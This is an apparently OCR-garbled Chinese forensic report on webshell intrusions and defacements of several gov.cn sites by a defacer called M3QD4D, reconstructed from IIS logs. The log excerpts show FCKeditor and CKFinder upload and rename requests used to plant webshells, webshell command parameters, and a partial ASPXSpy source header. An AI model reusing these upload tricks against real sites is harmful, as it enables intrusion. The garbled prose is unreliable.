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1) FERERENTENRAZEE

HFR, BFEARXE TS BT REGSHP EZERME, AT Eaysr BEEk
HEEUEELFRRATEW ip EAHIEHE, FEIRHXE “GEB” AEHE, e REs
ip HhEAE A NAZ 69 —iEdE, ENBERL—Z LRI BRI, REKEHE, £
%7 B R HE “d B RZERIET AR — bR A 0 F AP AR B S, S
Bl AL A B EG EHAKIN A T EERAGKIE ip.

HAVE AP S LR FZE—T: B BRZEBRME R, AP 24T EZEGHRKF
C2RE T -5 A, Stwm T AR E AR, SR EF RIER AT AL A X AR KT
s N A &, BATR AR Z R AR F B2 EE A R EE0) ip ST W&, 39 3535,
TEEEBRMERZNFPEHEZERARI —AMEARKEY ip REANE, LERaPELY
ip SRR A R B BB MR W& A,

Rt he ], AR FA T NTEFHFER: TE—EALZLZELENRRKTFER,

FTEELKMZA T @OEKR—AAARIEHE, HEWEEFRT PELKN <L
KRBT MBI, NFZATHEORERRARZEERA—RBTsEE, HF b5 EdILF &
T “saR”, Bl B, B, HEILFRAENRSE, LT REEE RS 2E
# kA,

— BN IR AR AR K R HIR, WP ER G TR LIBE Hmei7, LHHAME
b 2R K 1923Turk 4. 2010 SFa9itik, SJAHE R BNYG 2490 T — 42k aAb&4Fe) 2
B, A ATARZEA v4 team B9 SR o KAEFE] T L F 690 Ktk

20710/3/13 2:57:40 v4 team -- Silic Security : where are you from ?>7

2070/3/13 2:57:46 Silic Security -- v4 team : China

2070/3/13 2:58:04 v4 team -- Silic Security : i hacked many gov,cn

2070/3/13 2:58:07 v4 team -- Silic Security : sites

2070/3/13 2:58:22 v4 team -- Silic Security : you have bad security

2070/3/13 2:58:49 Silic Security -- v4 team : yes---but---

2070/3/13 2:59:20 v4 team -- Silic Security : yeah worst security in the world

2070/3/13 3:00:07 Silic Security -- v4 team : well,i know---

2070/3/13 3:00:23 v4 team -- Silic Security : no security ; )

2070/3/13 3:00:38 v4 team -- Silic Security : i never heared about
ALEERAE QSroot@HoTmAIL-CoM &5 MSN B Xt F (T ik, A4 LARA ME)

LR, TEBEEHARRAROIRENGANE, 5T PHNEL ARES A4 LA
M3QD4D JF & K KA9EX F o

1.1 NS5t

M3QD4D A 2010 FHiHF 4 X o E ¥ gov.en 384l AT AR, IR TRAMEH 1 Se it
2010 £ 9 H: 7/ gov.en ¥figd

2010 410 H: 24~ gov.cn ¥k 5
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2012 44 H: 90 4> gov.cn i A

2012 45 H: 12 4> gov.cn %l 5

2012 £ 6 H: 14 4> gov.cn ¥ A

2012 47 H: 82 4> gov.cn i 5

2012 458 H: 43 /> gov.cn ¥ A

2012 4 12 H: 31 gov.cn ¥l £

2013 £ 1 H: 17 4> gov.tw u5 51 1 /) gov.cn
2013 42 H: 2 > gov.cn ¥h

2013 43 H: 4 /> gov.cn Wi &

2013 44 H: 84> gov.cn % i

*(0 2012 #F 4 /7 22 [H—A M3QD4D (FA 2T 57 1 gov.en IS

M EHGETRE, SFEARKER, WRBATREA MR A% 0 K4Sttt K L
Hate AT, 2R ARCRE?

*M 2010 49 H #2012 44

M HRIRATAT AR BB AS “1hg”, AbFIX AN I g # 4 & M3QD4D XN B N AR M
B R Z A M. R FRATT LIRS HER — T mM3QD4aD HRMY: KE4E? Zif?
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2) NRFEpth
2.1 EIRKS
AT — I AR DR 2 M www.xjjh.gov.en FTHIERFEIT .

M3QD4D &% LA T — ARG TR, ORI (A2 2013-4-20 21:21:04(JL 5 R [X),
DT AR

@@ @ http:/fwww.xjjh.gov.cn/m3.htm

| @ HaCkeD By M3QD4D 4
By B - TEP) v 2206 IRO) -~

M3QD4D

“M3QD4D Elitt—ikz"
BRI T IR A H S EE AR S MNAE, FHMEARRES, HEETR, =
FRFTE 2 I 2% 22 4 L i) (4] AKX AN 3 s R ST EAT 7438 . I T JLAR RTBEII ST, 23l
/3000.aspx

/Photo/ShwPhotoo.aspx
/FCKeditor/editor/_source/classes/faidu.aspx

HoAr— N CER H #AL T FCKeditor H 3%, @A — AL T photo H3E, GRS [A] 4>
W& 2013-4-19 0:44:10, 2013-4-19 9:08:28 F11 2013-4-19 22:05:40 (FRZILHTIF A, FRA1%E
B - AN BRI SO BT L ) B A2 X DO il g NAR () S R e P 5 18, R BRAN I8 75 B4k 22 0 Ay

‘Fz‘ o
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PATTT TSR BERE X B S S RARAS,  1X 2 3000.aspx:

3000.aspx  x

[ T N . T - T - T T R R . N e L1
10 <%@ import Namespace="3y. TiL . 5

11 |<%@ import Namespace=
1z |<%@ import Namespace=
12 |<%@ import Namespace=
14 |<%f Import Namespace=
12 |<%@ Import Namespace=
1t |<%3@ import Namespace=
17 |<%@ Assembly Name=" t rsion=2
12 |<%@ Assembly Name="
13 |<%@ Assembly Nams
<%@ Assembly Name:

21 |<!DOCTYPE html PUBLIC "—,-",-"WSC,-"J"DTD XHTML 1.0 Tradsltlo“xalf’;"EN" "heep:/ /. w3 org/TR/xhtmll/DTD/xhtmll-t1
22 <script runat="server">

23 rk

24 Thanks Snailsor, Fu¥u,BloodSword, Cnging,

25 Code b

z Make i

27 Blog: h ww.rootkit.net.cn

z E-mail : master@rootkit.net.cn

23 |*/

3

public string Passwor DQaaeBch&5hh']'510d.be143d19461231

31 |public string vbhLn="A5
32 public int TdgGU=1:

33 |protected CleDbConnection Dtdr=new CleDbConnection():;
34 |protected CleDbCommand Kkvb=new OleDbCommand();

35 public NetworkStream N5=null:

CR |

AKBRE aspx HIALZRSHI webshell f517 ASPXSpy
P T 52 X S PR AT F Y Webshell J& T TIIA, SR R R 112017547 MDS In# LLiG
#& 02aae3e6c45bb7510dbe143d19461281, FATR|IAB M LR — T X B FR, BRFE—

NEERATIT A -

Other encryption algorithms

md2{'emper’) 4ead3435c0c8d4924bsdcas8b7 1433753
md4{'emper') 3cl181672f68340bbcB8aa721ec8150743

| mds{'emper’) 02aae3e6c45bb7510dbe143d19461281)
shai{'emper”) 99d68897b3d24d615587d7a80321b4abbsb7f5fch
shaz5e('emper’) cae7712daaa2d0cf3f697e00e32ae14930b863chb3071658(
sha384{"emper") 3d46c2aal01fe?7375b2ce085873b2a30aa31f9f440be937E
sha512{"emper") facc2dba7c289ed206f481cd5e79a3d4dfd583c2a%a1ed12
ripemd128("emper") 1798b28ddb31e9c25dc1fea3fI02e7f44
ripemd160("emper") 7f00791ea7049757bd257d8307a1e007c%afc503
ripemd256("'emper’) a6b7c48a5a8a184c02e542760c605dd8d2a6742d2e33a2:
Fimmrm A YA " FACAA~EFADAANAAEAAAROMAAE~ L A1 mnA1 1k AANATAGRE RS

il J5 15 2 B I WSS emper, Z3EX%FEE, SCfF/Photo/ShwPhotoo.aspx 5 3000.aspx
OB — B —HE, Bt ar LA e XA S E N BERE TR SZAFEMZ
/FCKeditor/editor/_source/classes/faidu.aspx iX > 3CA4A1 3000.aspx IT-F-AH A, 1H&ZIGE1E
A faidu.aspx XA 1%/ 8aacd8d7d609b0d7816ae31c6ade65b7, it MM I-

W md5 1999 3G A A 00X S md5 (R IH SO/ 3204416
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2.2 Web \ERHISHTI
WX R 55 28 2 Web HETRTLALEE ). LA 3000.aspx ALRHITEE:

ex130418log x ex130418.log
o 50 B L 80 200, 0 220 130 TR
: /141/10141 -n:n - .60, . 111a/5 0+(:anat.1bls +EasouSpider;++http://www.easou.com/search/s]
01:05:55 W35SVC1 . /Article/ShowArticle.aspx ArticleID=48205 80 - 183.60.215.28 Mozilla/5.0+(compatible;+EasouSpider;++http:

01:05:55 W3SVC1
01:05:56 W3SVC1
01:05:58 W3SVC1
01:06:00 W3SVC1 1
01:06:00 W3SVC1
01:06:01 W3SVC1
01:06:03 W35SVC1
01:06:06 W35SVC1
01:0 & W35VC1
01:0 g8 W35VCl
01:06:08 W35VC1

/2124/40670.htm - 80 - 123.151.43.38 Mozilla/5.0+(compatible;+MSIE+8.0;+Windows+NT+6.1) 404 0 3

/Article/ShowArticle.aspx ArticleID=5087 80 - 220.181.108.157 Mozilla/5.0+ (compatible;+Baiduspider/2.0;++
/Article/ShowArticle.aspx ArticleID=50938 80 - 220.181.108.109 Mozilla/5.0+ (compatible;+Baiduspider/2.0;+
/xxgk/29/1048/624.htm - 80 - 66.249.75.110 Mozilla/5.0+(compatible;+Googlebot/2.1;++http: //www . google . .com,
/hrticle/Showkrticle.aspx ArticleID=509139 220.181.108.186 Mozilla/5.0+(compatible;+Baiduspider/2.0;+
/vploads/uploadfile/20111026122150417.3pg - - 1.25.33.5 Mozilla/4.0+ (compatible;+MSIE+6.0;+Windows+NT+
/Brticle/Articlelist.aspx ClassID=1640sPage 80 - 66.249.75.81 Mozilla/5.0+ (compatible;+Googlebot/2.1;
/hrticle/ArticleList.aspx ClassID=1870sPage - 66.249 193 Mozilla/5.0+(compatible;+Googlebot/2.1
/Brticle/Articlelist.aspx ClassID=4355Page=T71 - 66.249.75.185 Mozilla/5.0+ (compatible;+Googlebot/2.12
/59/7300.htm - 80 — 61.135.249.217 Mozilla/5.0+ (compatible;+YoudacBot/1.0;+http://www.voudac.com/help/webl
/115/115: e ntm - 80 - 1=o 1-13 133 13 Mozllla/ﬂ O+tcorr;a::lble +MSIE+6.0; +w_ndows+Nr+5 03 +baidusTranscades

@

01:06:14 W35VC1
TTUETIEW T
01:06:18 W3SVC1
01:06:18 W3SVC1
01:06:26 W35SVC1
01:06:28 W3SVC1
01:06:31 W3SVC1
01:06:35 W3SVC1
01:06:38 W3SVC1
01:06:38 W3SVC1
47 W3SVC1
01:06:47 W3SVC1

/3000.25px - 80 - Muznla/s 0+ (Windows+NT+6.1; +rv:20.0)+Gecko/20100101+Firefox/20.0 200 0 q—|
Cp TSI TORNT IS T IOT B CEAELD I =TT TCTNDETIDTE T SIS TE ST TSN IINE +
/194/29006.htm - 80 - 183.60.214.118 Muzllla/5.9+(corrpar.lble,+Easo.15p1der,++nr.:p.//www.easo.l.curr/:ear:n/sl
/xxgk/29/1048/604.htm - 80 - €6.249.75.104 Mozilla/5.0+ (compatible;+Googlebot/2.1;++http://www. google.com
findex.aspx - 80 - 118.186.206.60 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+Trident/4.0;+.NET+CL
/Brticle/ShowArticle.aspx ArticleID=47259 80 - 66.249.75.104 Mozilla/5.0+(iPhone;+U; +CPU+iPhone+0S+4_1+1i.
/121/52314.htm - 80 - 183.60.214.118 Mozilla/5.0+(compatible;+EasouSpider;++http://www.easou.com/search/s]
/index.aspx - 80 - 157.55.32.101 Mozilla/5.0+(compatible;+bingbot/2.0; ++http://www.bing.com/bingbot.htm) :
/Brticle/ShowArticle.aspx ArticleID=35063 80 - 66.249.75.177 Mozilla/5.0+(compatible;+Googlebot/2.1; ++htt]
POST /3000.aspx WebSiteID=1 80 - 2.145.51.185 Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20
2 GET /index.aspx - 80 - 124.117.228.232 Mozilla/4.0+ (compatible;+MSIE+6.0;+Windows+NT+5.1;4SV1;MyIE2;+.NET+CLR-
GET /Article/Articlelist.aspx ClassID=85 80 - 220.181.94.228 Sogou+News+Spider/4.0 (+http://www.sogou.com/docs,

HRBAE 3 H 19 HIY) Web HEH 8152 3000.aspx 1 A U1V 183k, 7E 2053 4T H
AIHEE:
2.145.51.185 Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0

B T 2.145.51.185 1XA™ ip Hubil, Huhb B o HETVEM B ip, U5 iR E AT BZ Win7 &
g, D B R KRS

AT BAHRIZA ip R ip iE X AL B H CEL M ip, BN AL B EH
XA ip Vi) T A IERX — AT . A ERATE 3 A 18 HIiWH & %% 3000.aspx 1K T —
AN ip:
80 - 2.145.67.186 Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200

BB ERE RS, 2.145.67.186 55A2k H HEAY, XA ip b 2.145.51.185 H L)L

B, MARATLLIXA ip NEZE, B — FREAREIR IR AL R AR L
AT HELIFTLEG 2013 F 4 /] 18 H 12 K/ MW3SVC1/ex130418. log, EIERFLE, <M

16:24:59 GET /admin/login.aspx - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox,/20.0 200

16:27:18 POST /admin/login.aspx - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox,/20.0 200

16:29:25 POST /admin/login.aspx - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200

16:31:05 GET /admin/FCKeditor/ - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 404 0 2

16:32:03 GET /FCKeditor/ - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 403 14 5
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16:32:48 GET /FCKeditor/editor/fckeditor.html - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200
16:35:08 GET /FCKeditor/editor/fckdialog.html - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200
16:35:10 GET /FCKeditor/editor/fckblank.html - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200
16:35:13 GET /FCKeditor/editor/dialog/fck_image.html - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200
16:35:35 GET /FCKeditor/editor/filemanager/browser/default/browser.html
Connector=connectors/aspx/connector.aspx 80 - 2.145.67.186

Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200

16:35:40 GET /FCKeditor/editor/filemanager/browser/default/frmfolders.html - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200

16:35:40 GET /FCKeditor/editor/filemanager/browser/default/frmactualfolder.html -
2.145.67.186 Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200
16:35:40 GET /FCKeditor/editor/filemanager/browser/default/frmresourcetype.html -
2.145.67.186 Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200
16:35:44 GET /FCKeditor/editor/filemanager/browser/default/frmresourceslist.html -
2.145.67.186 Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200
16:35:44 GET /FCKeditor/editor/filemanager/browser/default/frmupload.htm| - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200

16:35:44 GET /FCKeditor/editor/filemanager/browser/default/frmcreatefolder.html -
2.145.67.186 Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200
16:35:47 GET /FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx
Command=GetFoldersAndFiles& Type=File&CurrentFolder=/ 80 - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200

16:36:41 POST /FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx
Command=FileUpload&Type=File&CurrentFolder=/ 80 - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200

16:36:42 GET /FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx

Command=GetFoldersAndFiles&Type=File&CurrentFolder=/ 80 - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200
16:37:10 GET /UserFiles/File/config.cer - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200
16:37:17 GET /UserFiles/File/config.cer raiz=E:\xjjh_web\UserFiles 80 - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200
16:37:24 GET  /UserFiles/File/config.cer raiz=E:\xjjh_web 80 - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200
16:40:40 GET /UserFiles/File/config.cer action=cmd 80 - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200
16:40:44 GET /UserFiles/File/config.cer raiz=E:\jhsw 80 - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200
16:40:51 GET /index.aspx - 2.145.67.186

Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200
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16:40:54 GET /index.aspx - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200
16:40:55 GET /index.aspx - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox,/20.0 200
16:41:00 GET /UserFiles/File/config.cer action=cmd&.CMD=dir 80 - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200
16:42:25 GET /FCKeditor/editor/filemanager/browser/default/browser.html
Connector=connectors/aspx/connector.aspx 80 - 2.145.67.186

Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox,/20.0 200

16:42:33 GET /FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx
Command=GetFoldersAndFiles&Type=File&CurrentFolder=/ 80 - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200

16:43:11 GET /UserFiles/File/config.cer action=cmd&.CMD=c%2F+dir 80 - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox,/20.0 200

16:43:52 GET /UserFiles/File/config.cer action=upload&path=E:|xjjh_web| 80 - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200

16:44:10 POST /UserFiles/File/config.cer action=upload&processupload=yes&path=E:|xjjh_web|
80 - 2.145.67.186 Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200

16:44:19 GET  /UserFiles/File/config.cer raiz=E:\xjjh_web 80 - 2.145.67.186
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200
16:44:25 GET /3000.aspx - 2.145.67.186

Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200

b i H G R B SCRS B 2 BARREL, KB KRR, BATHLLZL i AR

e SERFBAMAIH

16:24:59 GET /admin/login.aspx
16:27:18 POST /admin/login.aspx
16:29:25 POST /admin/login.aspx
16:31:05 GET /admin/FCKeditor/ 404

1E 18 5 HEM 16 B 24 732 7, FAVHEA KPR H 2.145.67.186 iX > ip Wi, 1E
16:24:59 BLHE G GRHT VIR, WAL UIX AN G 6 Huhk v] #8 B E W3 2R 5] B Bk i SRk 11 .
B 2T &, FEFRRRESRRNMEEIT Ge8MANDrEE, K.

SR AR e ES AR R

R ?,ﬁICP%DiDD

9-5328009
feifthdssedy X8 A
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PL“TAEANGINT” AR, WEEAT B E robots.txt XA 3CfF, Ktk Google. Baidu
ARG BIRA 5 i 2 KX A fadmin/login.aspx B AR IGRIE 2 o FBA1X LS Google Hacker 5t
TR RIIX AT T

FATVR X4 BB POST #R-AZHIE S5, 4kEU7IH] /admin H K HIERAZIEAE HTTP 200,
Ifi & HTTP 404 AR H, Wk iiAhR 7 %0 H 2 B0 %t . HE T FCKeditor (M1 fE, BATmt

FHIEAR T AT .

16:32:03 GET /FCKeditor/ 403

16:35:47 GET /FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx
Command=GetFoldersAndFiles& Type=File&CurrentFolder=/

16:36:41 POST /FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx
Command=FileUpload&Type=File&CurrentFolder=/

16:36:42 GET /FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx
Command=GetFoldersAndFiles&Type=File&CurrentFolder=/

16:37:10 GET /UserFiles/File/config.cer

FAX BT ARSI AR B IR, SEABBERPA TG £ T, BT REM
JUAPER, H5ER GET —Mbhk, XA SCAFHIBRARAE

/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx

AT XA E —F

& http:/fwww.xjjh.gov.en/FCKeditor/editor/filemanager/browser/default/con

2 wjjh.gov.cn
B~ B - FE® - 229~ 18O~

=<?xml version="1.0" encoding="UTF-8"7>
- «<Connector resourceType="File" command="GetFoldersAndFiles" >
<CurrentFolder url="/UserFiles/File/" path="/"/>
=Folders/ =
=Files/ >
=/Connector>

FCKeditor YIXAN X JLTAH Y T2 800511 1o X B config.cer & /E4 H I
T . HZEL A connector.aspx BEATHREE GET 401 POST, it AJ LUK X config.cer AR

R554%. 1M cerasa ££ IS FHEAT LIAE A asp SIARARTH . FAT4RELE H &

GET /UserFiles/File/config.cer raiz=E:\xjjh_web\UserFiles
POST /UserFiIes/FiIe/config.cer action=upload&processupload=yes&path=E:|xjjh_web |

PISFAE T, AR — S kP A E 4 raiz #E4T 7 IDRHALEE, 028 — 20k
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IR —ANRAE, FEERFAR R XA BE, MR HIXANSERN |7, 48

THI A 2R AR AIE , FRATT AT DAAF 58 1X 44 SRR A G 72 - HH B A1 BA Pouya Hi i ¥ Smart.Shell 1.0

16:43:52 GET /UserFiles/File/config.cer action=upload&path=E:|xjjh_web|

16:44:10 POST /UserFiles/File/config.cer action=upload&processupload=yes&path=E:|xjjh_web]|
16:44:19 GET /UserFiles/File/config.cer raiz=E:\xjjh_web

16:44:25 GET /3000.aspx

BRI HATERIZ R, HUAT LA E 3000.aspx FIRIE 1. GRS ENE 3 H 18 HIIHE:

21:37:36 POST /3000.aspx WebSitelD=1 - 2.145.51.185
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200
21:39:16 GET /m3.htm - 2.145.51.185
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 304
21:39:16 GET /m3.htm - 2.145.51.185
Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200
21:39:21 GET /m3.htm - 2.145.51.185

Mozilla/5.0+(Windows+NT+6.1;+rv:20.0)+Gecko/20100101+Firefox/20.0 200
Xt sk AE BB RME 16 HAT A . B LIk AN 2 iR o, S — A2

8], FHZ 14 40 #0, 55 /R UTRPIRAS, J6/& HTTP 304 SR 54 72 HTTP 200, X7 542 LA
€ AL m3.htm N2 3000.aspx HIEEZE, 1 _EA% 3000.aspx 22 & & NIRIXA

www.xjjh.gov.cn Ik B, T M3QD4D Bt N1R 11X gov.en Wi iR, RS

2.3 Web N\ EEHlIHHr I
AT 2013 F 4 A 21 HAE S — gov.en M3k & FR LT 54—/~ M3QD4D B T 1 2E

To IXANEITIHLIEZ: http://www.ajj.zjg.gov.cn/zjg/m3.html, T [ /& FRATIHEEIIX A0k

ERfER:

_,i G ¥ | . 1FE T I Lsdl™ ST N e ML R} = AV =218 TRAY UL
FEzje <:‘;hipi ;hehauinr:url(#deFault#UML);}
s e
& - v
1P 3 ) adnin

fritle>

-~
-
e —
o
=
|-.

<titX } atkeD By I13IJDJID

el = :AUthor>WIN7</o:Author>
e his :LastAuthor>WIN7<{/o:LastAuthor>
[Cynews <o:Revision>3</o:Revision>
E'st}'le IalalIl As TalbalTl
B 2 C)Upload <o:Created>2813-84-19T09: 87 : ABZ<{ /0|
Jurleoadfile - L1
HIRER (E:) — <o:Pages>1<{fo:Pages>
p— <o:Words>46</0:Words>
R Freeonpiledipp. co:| “0:Characters>267</o:Characters>
e [#]#eb. config <o:Lines>2<{/o:Lines>
N xx_asp <u:Paragraphs)?(fﬂ:Paragraphs)
Bl zie aspx <o:CharactersWithSpaces>312{/o:Chari
I = . <o:Version>12.868</0:Version>
H=4 ¥ E] T]g_Tews. aspx

<{fo:DocumentProperties>
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B BATE BX A T A B A B %48 2013-04-19,09:07:00, HIRFAMTEF]—4 L
BENTERER I 2 fckeditor SCHEIE, R S0 FRATT A MR %E /& FCKeditor FIJRIA S 2L
N2 . BIFE FCKeditor 13 & W AFFRHC B I _EALEE, AT LA R W EFTR:

b | e T | -
AUploadifile ~| B w3
Eot i | Fooln | 268 |t EER WSS |
45 & L. asp It 2012-2-21 13:59
= . Y T ﬁ P 4 L
I o - '
[£] 2000. aspx T2 KB ASPX 1% 2013-4-21 8:03 A
(53 e
—=7 el PR %
5 [£]a aspi101). ipe 2 KB JPEG ElE 2012-1-T 10:08 A
BT Yeb €] a_asp:1. ire 2 ¥B JPEG ENE 2012-1-7 10:08 A
FE IR £ 2=p. asp: asp. jpe 3 KB IFEG ER 2012-5-10 17:23 A
[Z] cmd. aspx TI KB ASPE 34 2012-2-23 6:08 A
5 [ data. asp 33 KB ASP IO 2013-4-21 17:08 A
s =) EngrsProduct. asp 3 KB ASP It 2012-5-10 17:23 A
[F)1ex. exe 193 BB FERREF 2013-4-21 17:19 A
[g] pICTOZR4. TRG 2,197 X6 JPEG ENE 2012-9-25 3:20 A
& | PICT 0224, TPG 122 KB JPEG B 2012-9-25 3:20 A
= sql. asp B3 KB ASP 304 2013-4-21 17:11 A
[E]12. asp: (1), ipe 56 KB JPEG ENE 012-2-28 605 A
=5 e - o T TDE FFI“& Pt t ey BT B = W | »
T
[Z] teste. txt Z KB rAIrE 2013-3-5 18:29 A

EHE HwEE BL0 EF0 R

<head:

<{meta content="text/html; charset=windows-1252" http-equiv="Content-Type" /
qsA8 M HaCkeD By M30D4DFASTS LM

{link type="image/x-icon” href="http://myup.ir/images/47438848073956167636.
{1link type=""image/x-icon" href="http://myup.ir/images/47430B48073956167636.
*,body ,div,p,span,hb{padding: @px;margin: Opx;}body{background-color: H#O0G8EC
</head>

<%

3000.aspx 5 Hi 1 A www.xjjh.gov.cn FHERSR AR RS — B —FE, HAMRATR I teste.txt
RIS R4 8 “M3QD4aD”, I H AN A] 2013-3-8 18:29 izt T 3000.aspx, KA
B Mg mM3QDaD fE 3 H 8 HEHE B F WA, FIH FCKeditor MIIRIAANIR T

www.ajj.zjg.gov.cn IX ANk

2.4 Web \ZZEHI534Rr 1T

R R BRI N NAR RO 3ET FCKeditor I3 4 2 IRIF I NAR, BRATT T3 % B
M3QD4D 11 IR L, RIS b as, XUGEHH T Ckeditor A1 Ckfinder 2w’
AR o

WNAZHIFRIFE 2 — A LA gov.en 45 I M,: www.jiningrsks.gov.cn, it xHZ AR %5 2% -
() H B ST R B ik, IR PRIk E] T M3QD4D FINIRIRIE, %4545 Windows %
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gt, (EHE Web 74508 1S6, KIARIRILH H SRR S 41 HE HxHF
(C:\WINDOWS\system32\LogFiles\W3SVC732319451) ] ex130506.log S ff. [Klitkn] LA &
NIRRT 5 H 6 H, NHIERARE T HEMRAEAE.

ex130506.log 3tA 200 /325 H Gk, FATIER 7 A MMER 164 skidiEAT oM.

FATHE HAHE M3QD4D AR EM 08:03:41 FFUR T :

2013-05-06 08:03:41 W3SVC732319451 192.168.1.10 GET /ckeditor/userfiles/files/ - 80 -
2.145.86.141 Mozilla/5.0+(Windows+NT+6.2;+rv:20.0)+Gecko/20100101+Firefox/20.0 200 0 0
2013-05-06 08:04:54 W3SVC732319451 192.168.1.10 GET /ckeditor/editor/fckeditor.html - 80 -
2.145.86.141 Mozilla/5.0+(Windows+NT+6.2;+rv:20.0)+Gecko/20100101+Firefox/20.0 404 0 3

AT TH TR, KL ckeditor Fl fckeditor (BRI L A% H R # /2 /userfiles, PRliEk
1145 M3QDAD 3% A& LA gov.en inurl:/userfiles XK TR AR Hir. HHN
www.jiningrsks.gov.cn RS AFFETCER 51 H g Prig SO iRl 8L, irbl M3QD4D £ 08:03 %]
08:11 4rLAHT, ViiAl T ckeditor (1K 4> Hk. 1fif5 M3QDAD f#i ] ckeditor $447 T K& 113

VRS, BRZNIIH Webshell 5171 _EAL R 55 25

08:14:57 W3SVC732319451 POST /CKeditor/ckfinder/core/connector/aspx/connector.aspx
command=FileUpload&type=Files&currentFolder=%2F&langCode=en&hash=843da73f88ab088c
& 80 - 2.145.86.141 Mozilla/5.0+(Windows+NT+6.2;+rv:20.0)+Gecko/20100101 +Firefox/20.0
08:21:19 W3SVC732319451 GET /CKeditor/ckfinder/core/connector/aspx/connector.aspx
command=GetFiles&type=Files&currentFolder=%2F&langCode=en&hash=843da73f88ab088c 80
- 2.145.86.141 Mozilla/5.0+(Windows+NT+6.2;+rv:20.0)+Gecko/20100101 +Firefox/20.0

08:21:59 W3SVC732319451 POST /CKeditor/ckfinder/core/connector/aspx/connector.aspx
command=RenameFile&type=Files&currentFolder=%2F&langCode=en&hash=843da73f88ab088c
&fileName=T23_asp%3B.txt&newFileName=T23.asp%3B.txt 80 - 2.145.86.141
Mozilla/5.0+(Windows+NT+6.2;+rv:20.0)+Gecko/20100101+Firefox/20.0

08:22:18 W3SV(C732319451 GET /ckeditor/userfiles/files/T23.asp;.txt - 80 - 2.145.86.141
Mozilla/5.0+(Windows+NT+6.2;+rv:20.0)+Gecko/20100101+Firefox/20.0

T2 H BB

ULL JLACULLULf CKLINUeEly COre CONNECLUD aSpx, CUOINNeC LUl . dSpix CUNMnaiu— i ueiiadl 1 & L ypre—rmaye s e o
GET /CEeditor/ckfinder/core/connector/aspx/connector.aspx command=Thumbnailitype=Images&c
